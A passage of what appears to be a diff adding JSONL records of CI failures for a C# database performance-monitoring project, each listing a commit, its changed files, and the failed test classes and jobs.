ebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/TopRanking.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/panels.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/util.js","Darling/PerformanceMonitor.Darling.Storage/TopFill.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStats.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStore.cs","Lite.Tests/TopListTotalOrderPinTests.cs","Lite.Tests/TopListWaitforRefillReaderTests.cs","Lite.Tests/TopTextTieBreakReaderTests.cs","Lite/Services/LocalDataService.QueryStats.cs","Lite/Services/LocalDataService.QueryStore.cs","Lite/Services/TopFill.cs"],"failed_classes":["Darling.Tests.LiveCleanupConversionRatchetTests","Darling.Tests.LivePlanShapeIsolationCensusTests","Darling.Tests.StoreStatementStatsLiveTests","Darling.Tests.WebTopProceduresColumnsTests"],"failed_jobs":["Darling PG tests (2)","build","Darling PG tests (1)","Darling PG tests (0)"]}
+{"date":"2026-10-06","head_sha":"19936ab8788df98247728fbfb4d6856d211168f5","event":"pull_request","changed_files":["Darling/Darling.Tests/ComposeQueryStoreWideExactnessLiveTests.cs","Darling/Darling.Tests/DarlingCustomViewsTests.cs","Darling/Darling.Tests/DarlingMcpDataToolsTests.cs","Darling/Darling.Tests/McpPageContractTests.cs","Darling/Darling.Tests/QueryStoreBackgroundIndexesLiveTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideBelowFloorLiveTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideBelowFloorRoutesLiveTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideGridLiveTests.cs","Darling/Darling.Tests/QueryStoreTopDailyReadLiveTests.cs","Darling/Darling.Tests/QueryStoreTopMcpLiveTests.cs","Darling/Darling.Tests/ServerPageTabsTests.cs","Darling/Darling.Tests/TopFillEmptyRoundLiveTests.cs","Darling/Darling.Tests/TopProceduresHourlyRoutingTests.cs","Darling/Darling.Tests/TopQueriesHourlyRoutingTests.cs","Darling/Darling.Tests/TopRankingDifferentialLiveTests.cs","Darling/Darling.Tests/TopRankingHourlyLiveTests.cs","Darling/Darling.Tests/TopRankingLiveTests.cs","Darling/Darling.Tests/TopRankingNoticeBehaviourTests.cs","Darling/Darling.Tests/TopRankingOnePassBaseline.cs","Darling/Darling.Tests/TopRankingPagePinTests.cs","Darling/Darling.Tests/TopRankingTests.cs","Darling/Darling.Tests/TopRankingTwoPassTests.cs","Darling/Darling.Tests/TopTextLookupFillTests.cs","Darling/Darling.Tests/TopTextLookupPlanLiveTests.cs","Darling/Darling.Tests/TopTextTieBreakLiveTests.cs","Darling/Darling.Tests/ViewerQueriesTests.cs","Darling/Darling.Tests/WebTopProceduresColumnsTests.cs","Darling/Darling.Tests/WebTopQueriesColumnsTests.cs","Darling/Darling.Tests/top-ranking-notice-harness.mjs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/TopRanking.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/panels.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/util.js","Darling/PerformanceMonitor.Darling.Storage/TopFill.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStats.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStore.cs","Lite.Tests/TopListTotalOrderPinTests.cs","Lite.Tests/TopListWaitforRefillReaderTests.cs","Lite.Tests/TopTextTieBreakReaderTests.cs","Lite/Services/LocalDataService.QueryStats.cs","Lite/Services/LocalDataService.QueryStore.cs","Lite/Services/TopFill.cs"],"failed_classes":["Darling.Tests.LiveCleanupConversionRatchetTests","Darling.Tests.LivePlanShapeIsolationCensusTests","Darling.Tests.WebTopProceduresColumnsTests"],"failed_jobs":["build","Darling PG tests (0)","Darling PG tests (1)","Darling PG tests (2)"]}
+{"date":"2026-10-06","head_sha":"51ccf6b024b2fd53c1ab97b345bb0dcbacceaf5c","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingConfigTests.cs","Darling/Darling.Tests/DarlingManagedRolesTests.cs","Darling/Darling.Tests/DarlingMcpServerAdminToolsTests.cs","Darling/Darling.Tests/DarlingSecretsOwnedReferenceTests.cs","Darling/Darling.Tests/ServerAddRouteTests.cs","Darling/Darling.Tests/ServerAddViewerRoleLiveTests.cs","Darling/Darling.Tests/ServerEditCoreTests.cs","Darling/Darling.Tests/ServerEditGateLiveTests.cs","Darling/Darling.Tests/ServerEditLiveTests.cs","Darling/Darling.Tests/ServerEditPasswordRuleViewerTests.cs","Darling/Darling.Tests/ServerEditRouteTests.cs","Darling/Darling.Tests/ServerEditViewerRoleLiveTests.cs","Darling/Darling.Tests/ServerIdentityLockLiveTests.cs","Darling/Darling.Tests/ServerIdentityLockSourcePinTests.cs","Darling/Darling.Tests/StartupCommandTimeoutTests.cs","Darling/Darling.Tests/ViewerAddServerIdCollisionTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedRoles.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSecrets.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerAdminTools.Edit.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerAdminTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebHostService.cs","Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs","Darling/PerformanceMonitor.Darling.Viewer/AddServerDialog.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.MonitoredServers.cs","Darling/tools/provision-roles.sql"],"failed_classes":["Darling.Tests.DarlingReadsUseOnlyStoreViewsTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-10-06","head_sha":"6866eb5664a378aa35f09c7576b9e883e2fdc177","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectorMeasurementSeamTests.cs","Darling/Darling.Tests/SensitiveStatementHostFilterTests.cs","Darling/Darling.Tests/SensitiveStatementOutputFilterTests.cs","Darling/Darling.Tests/SensitiveStatementSessionTests.cs","Darling/Darling.Tests/StatementColumnCensusTests.cs","Darling/Darling.Tests/StatementFilterCensus.cs","Darling/Darling.Tests/StatementScrubRecordingWriter.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanTools.cs","Lite/Mcp/McpPlanTools.cs","PerformanceMonitor.Collectors/CollectorContext.cs","PerformanceMonitor.Common/Mcp/SensitiveStatementOutputFilter.cs","PerformanceMonitor.Common/SensitiveStatements.Session.cs","PerformanceMonitor.Common/SensitiveStatements.cs"],"failed_classes":["PerformanceMonitorLite.Tests.PerfmonCounterTypeTests"],"failed_jobs":["Lite tests (1)"]}
+{"date":"2026-10-06","head_sha":"c09289f16cc2eaec99f49983b1eacaafbc53eabd","event":"pull_request","changed_files":["Darling/Darling.Tests/BlockingListPlanFlagsLivePostgresTests.cs","Darling/Darling.Tests/DarlingBlockingReaderServerClockTests.cs","Darling/Darling.Tests/DarlingMcpBlockingToolsTests.cs","Darling/Darling.Tests/DarlingMcpPlanToolsTests.cs","Darling/Darling.Tests/DarlingWebEndpointsTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpPlanTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/Darling.Tests/PlanViewerBehaviourTests.cs","Darling/Darling.Tests/RowPlanReadLivePostgresTests.cs","Darling/Darling.Tests/WebPlanViewerPageTests.cs","Darling/Darling.Tests/WebReadCancellationPinTests.cs","Darling/Darling.Tests/web-plan-viewer-harness.mjs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingBlockingReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpBlockingTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStoredPlanReader.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/plan-viewer.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/README.md","Lite.Tests/CrossAppMcpToolInventoryPinTests.cs","README.md","llms.txt"],"failed_classes":["Darling.Tests.DarlingReadsUseOnlyStoreViewsTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-10-06","head_sha":"817a583826610decb34e0d7b00bcc5c6cbb285e8","event":"pull_request","changed_files":[".claude/skills/release-checklist/SKILL.md","Darling/Darling.Tests/CollectorMeasurementSeamTests.cs","Darling/Darling.Tests/SensitiveStatementHostFilterTests.cs","Darling/Darling.Tests/SensitiveStatementOutputFilterTests.cs","Darling/Darling.Tests/SensitiveStatementSessionTests.cs","Darling/Darling.Tests/StatementCollectionCensusCases.cs","Darling/Darling.Tests/StatementColumnCensusTests.cs","Darling/Darling.Tests/StatementFilterCensus.cs","Darling/Darling.Tests/StatementScrubRecordingWriter.cs","Darling/Darling.Tests/StoredPlanAnalysisFilterTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanTools.cs","Lite.Tests/Lite.Tests.csproj","Lite.Tests/PerfmonCounterTypeTests.cs","Lite.Tests/StoredPlanAnalysisFilterTests.cs","Lite/Mcp/McpPlanTools.cs","PerformanceMonitor.Collectors/CollectorContext.cs","PerformanceMonitor.Collectors/PerfmonStatsCollector.cs","PerformanceMonitor.Common/Mcp/SensitiveStatementOutputFilter.cs","PerformanceMonitor.Common/PerfmonCounterTypes.cs","PerformanceMonitor.Common/SensitiveStatements.Session.cs","PerformanceMonitor.Common/SensitiveStatements.cs"],"failed_classes":["Lite.Tests.DarlingReadsTraitGuardTests"],"failed_jobs":["Lite tests (1)"]}
+{"date":"2026-10-06","head_sha":"d1343812746131b19b0192ab42a25527b784904b","event":"pull_request","changed_files":["Darling/Darling.Tests/ActiveQueriesDatabaseFilterLiveTests.cs","Darling/Darling.Tests/ComposeQueryStoreWideExactnessLiveTests.cs","Darling/Darling.Tests/DarlingMcpDataToolsTests.cs","Darling/Darling.Tests/DarlingWebEndpointsTests.cs","Darling/Darling.Tests/DarlingWebHostGateLiveTests.cs","Darling/Darling.Tests/DarlingWebOidcTests.cs","Darling/Darling.Tests/DatabaseFilterBindingLiveTests.cs","Darling/Darling.Tests/ExcludedDatabasesTests.cs","Darling/Darling.Tests/McpPageContractTests.cs","Darling/Darling.Tests/QueryStoreBackgroundIndexesLiveTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideBelowFloorLiveTests.cs","Darling/Darling.Tests/QueryStoreReadsDatabaseFilterLiveTests.cs","Darling/Darling.Tests/QueryStoreTopDailyReadLiveTests.cs","Darling/Darling.Tests/QueryStoreTopMcpLiveTests.cs","Darling/Darling.Tests/QueryStoreTopWebDefaultTests.cs","Darling/Darling.Tests/RepoFileAdoptionTests.cs","Darling/Darling.Tests/ServerDatabasesEndpointLiveTests.cs","Darling/Darling.Tests/ServerPageTabsTests.cs","Darling/Darling.Tests/TopQueriesDatabaseFilterLiveTests.cs","Darling/Darling.Tests/TopRankingTwoPassTests.cs","Darling/Darling.Tests/TopTextTieBreakLiveTests.cs","Darling/Darling.Tests/ViewerLocalStateBehaviourTests.cs","Darling/Darling.Tests/WebDatabaseFilterBehaviourTests.cs","Darling/Darling.Tests/WebDatabaseFilterChipsBehaviourTests.cs","Darling/Darling.Tests/WebDatabaseFilterDispatchLiveTests.cs","Darling/Darling.Tests/WebDatabaseFilterPickerBehaviourTests.cs","Darling/Darling.Tests/WebDatabaseFilterReadsTests.cs","Darling/Darling.Tests/WebDatabaseFilterTests.cs","Darling/Darling.Tests/viewer-local-harness.mjs","Darling/Darling.Tests/web-database-filter-chips-harness.mjs","Darling/Darling.Tests/web-database-filter-harness.mjs","Darling/Darling.Tests/web-database-filter-picker-harness.mjs","Darling/PerformanceMonitor.Darling.Service/AlertNotebookEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingFleetSweepEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/DarlingServerDatabasesEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryHeatmapTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryStoreRegressionTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpSessionTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingQueryHeatmapReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingQueryStoreRegressionReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingRuntimePrecondition.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingSessionReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebHostService.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/css/app.css","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/database-filter-reads.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/multi-picker.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/analysis-findings.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/database-filter.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/panels.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/util.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/viewer-local.js","Darling/PerformanceMonitor.Darling.Storage/CollectedDatabases.cs","Darling/PerformanceMonitor.Darling.Storage/DatabaseFilter.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ExcludedDatabases.cs","PerformanceMonitor.Common/Mcp/McpHelpers.cs"],"failed_classes":["Darling.Tests.PgIndexBloatCoverageTests","PerformanceMonitor.Darling.Tests.TopTextLookupPlanLiveTests"],"failed_jobs":["Darling PG tests (2)","build","Darling PG tests (0)"]}
+{"date":"2026-10-06","head_sha":"2090a54247c30e9fb6d98a45598f8f7bdcc80890","event":"pull_request","changed_files":["Darling/Darling.Tests/ActiveQueriesDatabaseFilterLiveTests.cs","Darling/Darling.Tests/ComposeQueryStoreWideExactnessLiveTests.cs","Darling/Darling.Tests/DarlingMcpDataToolsTests.cs","Darling/Darling.Tests/DarlingWebEndpointsTests.cs","Darling/Darling.Tests/DarlingWebHostGateLiveTests.cs","Darling/Darling.Tests/DarlingWebOidcTests.cs","Darling/Darling.Tests/DatabaseFilterBindingLiveTests.cs","Darling/Darling.Tests/ExcludedDatabasesTests.cs","Darling/Darling.Tests/McpPageContractTests.cs","Darling/Darling.Tests/PgIndexBloatCoverageTests.cs","Darling/Darling.Tests/QueryStoreBackgroundIndexesLiveTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideBelowFloorLiveTests.cs","Darling/Darling.Tests/QueryStoreReadsDatabaseFilterLiveTests.cs","Darling/Darling.Tests/QueryStoreTopDailyReadLiveTests.cs","Darling/Darling.Tests/QueryStoreTopMcpLiveTests.cs","Darling/Darling.Tests/QueryStoreTopWebDefaultTests.cs","Darling/Darling.Tests/RepoFileAdoptionTests.cs","Darling/Darling.Tests/ServerDatabasesEndpointLiveTests.cs","Darling/Darling.Tests/ServerPageTabsTests.cs","Darling/Darling.Tests/SlowReadLogTests.cs","Darling/Darling.Tests/TopQueriesDatabaseFilterLiveTests.cs","Darling/Darling.Tests/TopRankingTwoPassTests.cs","Darling/Darling.Tests/TopTextLookupPlanLiveTests.cs","Darling/Darling.Tests/TopTextTieBreakLiveTests.cs","Darling/Darling.Tests/ViewerLocalStateBehaviourTests.cs","Darling/Darling.Tests/WebDatabaseBlankRuleTests.cs","Darling/Darling.Tests/WebDatabaseFilterBehaviourTests.cs","Darling/Darling.Tests/WebDatabaseFilterChipsBehaviourTests.cs","Darling/Darling.Tests/WebDatabaseFilterDispatchLiveTests.cs","Darling/Darling.Tests/WebDatabaseFilterPickerBehaviourTests.cs","Darling/Darling.Tests/WebDatabaseFilterReadsTests.cs","Darling/Darling.Tests/WebDatabaseFilterTests.cs","Darling/Darling.Tests/viewer-local-blank-harness.mjs","Darling/Darling.Tests/viewer-local-harness.mjs","Darling/Darling.Tests/web-database-filter-chips-harness.mjs","Darling/Darling.Tests/web-database-filter-harness.mjs","Darling/Darling.Tests/web-database-filter-picker-harness.mjs","Darling/PerformanceMonitor.Darling.Service/AlertNotebookEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingFleetSweepEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/DarlingServerDatabasesEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryHeatmapTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryStoreRegressionTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpSessionTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingQueryHeatmapReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingQueryStoreRegressionReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingRuntimePrecondition.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingSessionReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebHostService.cs","Darling/PerformanceMonitor.Darling.Service/SlowReadLog.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/css/app.css","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/database-filter-reads.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/multi-picker.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/analysis-findings.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/database-filter.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/panels.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/util.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/viewer-local.js","Darling/PerformanceMonitor.Darling.Storage/CollectedDatabases.cs","Darling/PerformanceMonitor.Darling.Storage/DatabaseFilter.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ExcludedDatabases.cs","PerformanceMonitor.Common/Mcp/McpHelpers.cs"],"failed_classes":["Darling.Tests.WebDatabaseFilterReadsTests"],"failed_jobs":["build","Darling PG tests (2)"]}
+{"date":"2026-10-06","head_sha":"b4c074a00f6f45da7f674ee8a036e4bb5e53bf73","event":"pull_request","changed_files":[".claude/skills/release-checklist/SKILL.md",".github/workflows/build.yml","Darling/Darling.Tests/CollectorMeasurementSeamTests.cs","Darling/Darling.Tests/SensitiveStatementHostFilterTests.cs","Darling/Darling.Tests/SensitiveStatementOutputFilterTests.cs","Darling/Darling.Tests/SensitiveStatementSessionTests.cs","Darling/Darling.Tests/StatementCollectionCensusCases.cs","Darling/Darling.Tests/StatementColumnCensusTests.cs","Darling/Darling.Tests/StatementFilterCensus.cs","Darling/Darling.Tests/StatementScrubRecordingWriter.cs","Darling/Darling.Tests/StoredPlanAnalysisFilterTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanTools.cs","Lite.Tests/Lite.Tests.csproj","Lite.Tests/PerfmonCounterTypeTests.cs","Lite.Tests/StoredPlanAnalysisFilterTests.cs","Lite/Mcp/McpPlanTools.cs","PerformanceMonitor.Collectors/CollectorContext.cs","PerformanceMonitor.Collectors/PerfmonStatsCollector.cs","PerformanceMonitor.Common/Mcp/SensitiveStatementOutputFilter.cs","PerformanceMonitor.Common/PerfmonCounterTypes.cs","PerformanceMonitor.Common/SensitiveStatements.Session.cs","PerformanceMonitor.Common/SensitiveStatements.cs"],"failed_classes":["Darling.Tests.CommentFilterAdoptionTests"],"failed_jobs":["Darling PG tests (2)","build","Darling whole-tree guards"]}
+{"date":"2026-10-06","head_sha":"1e6f65cf044e1be9ea47d3c981ae33a5e9734b15","event":"pull_request","changed_files":["Darling/Darling.Tests/AdminPageBehaviourTests.cs","Darling/Darling.Tests/AdminPageTests.cs","Darling/Darling.Tests/AdminServerEditBehaviourTests.cs","Darling/Darling.Tests/AdminServersRouteTests.cs","Darling/Darling.Tests/ManageTagsBehaviourTests.cs","Darling/Darling.Tests/ManageTagsPageTests.cs","Darling/Darling.Tests/admin-page-harness.mjs","Darling/Darling.Tests/admin-server-edit-harness.mjs","Darling/Darling.Tests/manage-tags-harness.mjs","Darling/PerformanceMonitor.Darling.Service/DarlingAdminServersReader.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/admin.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/manage-tags.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/util.js"],"failed_classes":["Darling.Tests.FleetIdentifierScrubTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-10-06","head_sha":"d0552429dd7909d94539d7d752eb2cfd8fd1b948","event":"pull_request","changed_files":["Darling/Darling.Tests/PagerDutyAutoResolveRungTests.cs","Darling/Darling.Tests/QueryStatsHourLedgerTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingAlertSettings.cs","Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedRoles.cs","Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/SettingsWindow.xaml","Darling/PerformanceMonitor.Darling.Viewer/SettingsWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Notification.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/tools/provision-roles.sql","Lite.Tests/PagerDutyWebhookTests.cs","Lite/App.xaml.cs","Lite/Services/AppAlertSettings.cs","Lite/Windows/SettingsWindow.xaml","Lite/Windows/SettingsWindow.xaml.cs","Lite/config/settings.sample.json","PerformanceMonitor.Notifications/IAlertSettings.cs","PerformanceMonitor.Notifications/WebhookAlertService.cs"],"failed_classes":["Darling.Tests.CaggGroupIndexDropLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-10-06","head_sha":"f2dcc58e9d45a2f14353d3ede4c00c28d6c14c43","event":"pull_request","changed_files":["Darling/Darling.Tests/PagerDutyAutoResolveRungTests.cs","Darling/Darling.Tests/QueryStatsHourLedgerTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingAlertSettings.cs","Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedRoles.cs","Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/SettingsWindow.xaml","Darling/PerformanceMonitor.Darling.Viewer/SettingsWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Notification.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/tools/provision-roles.sql","Lite.Tests/PagerDutyWebhookTests.cs","Lite/App.xaml.cs","Lite/Services/AppAlertSettings.cs","Lite/Windows/SettingsWindow.xaml","Lite/Windows/SettingsWindow.xaml.cs","Lite/config/settings.sample.json","PerformanceMonitor.Notifications/IAlertSettings.cs","PerformanceMonitor.Notifications/WebhookAlertService.cs"],"failed_classes":["Darling.Tests.CaggGroupIndexDropLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-10-06","head_sha":"3925bff0a2a8144e8ce2849c0b5cd88ee02468bf","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpServerAdminToolsTests.cs","Darling/Darling.Tests/DarlingSecretsOwnedReferenceTests.cs","Darling/Darling.Tests/OwnedSecretReferenceRefusalTests.cs","Darling/Darling.Tests/ServerAddViewerRoleLiveTests.cs","Darling/Darling.Tests/ServerEditCoreTests.cs","Darling/Darling.Tests/ServerEditLiveTests.cs","Darling/Darling.Tests/ServerPasswordFromRequestTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCommandExecutor.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSecretSource.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerAdminTools.Edit.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerAdminTools.cs"],"failed_classes":["Darling.Tests.RepoFileAdoptionTests"],"failed_jobs":["build","Darling PG tests (1)"]}
+{"date":"2026-10-06","head_sha":"71e66d9d2df0a6df2f2003b4e94679ef73cea6a1","event":"push","changed_files":["Darling/Darling.Tests/DarlingMcpObjectStatsToolsTests.cs","Darling/Darling.Tests/DatabaseNameParamTwinTests.cs","Darling/Darling.Tests/FinOpsIndexAnalysisLimitBehaviourTests.cs","Darling/Darling.Tests/FinOpsLockingDetailBehaviourTests.cs","Darling/Darling.Tests/FinOpsLockingHeatBehaviourTests.cs","Darling/Darling.Tests/FinOpsLockingPickerBehaviourTests.cs","Darling/Darling.Tests/FinOpsPageShellTests.cs","Darling/Darling.Tests/FinOpsTabIndexAnalysisPageTests.cs","Darling/Darling.Tests/FinOpsTabLockingPageTests.cs","Darling/Darling.Tests/IndexUsageTruncationTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpObjectStatsTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/Darling.Tests/ObjectLockingDetailLiveTests.cs","Darling/Darling.Tests/ObjectLockingHeatLiveTests.cs","Darling/Darling.Tests/ObjectLockingWebDefaultTests.cs","Darling/Darling.Tests/ObjectStatsDatabaseFilterLiveTests.cs","Darling/Darling.Tests/SeparatelyMonitoredListNoteTests.cs","Darling/Darling.Tests/WebHarness/load-web-modules.mjs","Darling/Darling.Tests/finops-index-analysis-limit-harness.mjs","Darling/Darling.Tests/finops-locking-detail-harness.mjs","Darling/Darling.Tests/finops-locking-heat-harness.mjs","Darling/Darling.Tests/finops-locking-picker-harness.mjs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpObjectStatsTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingObjectStatsReader.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/css/app.css","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/database-filter-reads.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/database-box.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/index-analysis.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/locking.js","Lite.Tests/McpToolsListBudget/McpObjectStatsTools.txt","Lite.Tests/McpToolsListBudgetTests.cs","Lite.Tests/ObjectLockingBudgetTests.cs","Lite.Tests/OptimizedLockingNoteTests.cs","Lite/Controls/FinOpsTab.Locking.cs","Lite/Mcp/McpObjectStatsTools.cs","Lite/Services/LocalDataService.FinOps.IndexObjects.cs"],"failed_classes":["PerformanceMonitor.Darling.Tests.RetiredBaselineAggregateLiveTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-10-06","head_sha":"ab17f612435931e266ace9482ff22f2e519459b7","event":"pull_request","changed_files":["Lite.Tests/ArchiveNoOpPassViewRebuildTests.cs","Lite.Tests/PostCollectionCheckpointBudgetTests.cs","Lite/Services/ArchiveService.cs","Lite/Services/RemoteCollectorService.cs"],"failed_classes":["Darling.Tests.TsqlConventionGuardTests"],"failed_jobs":["build","Darling PG tests (1)"]}
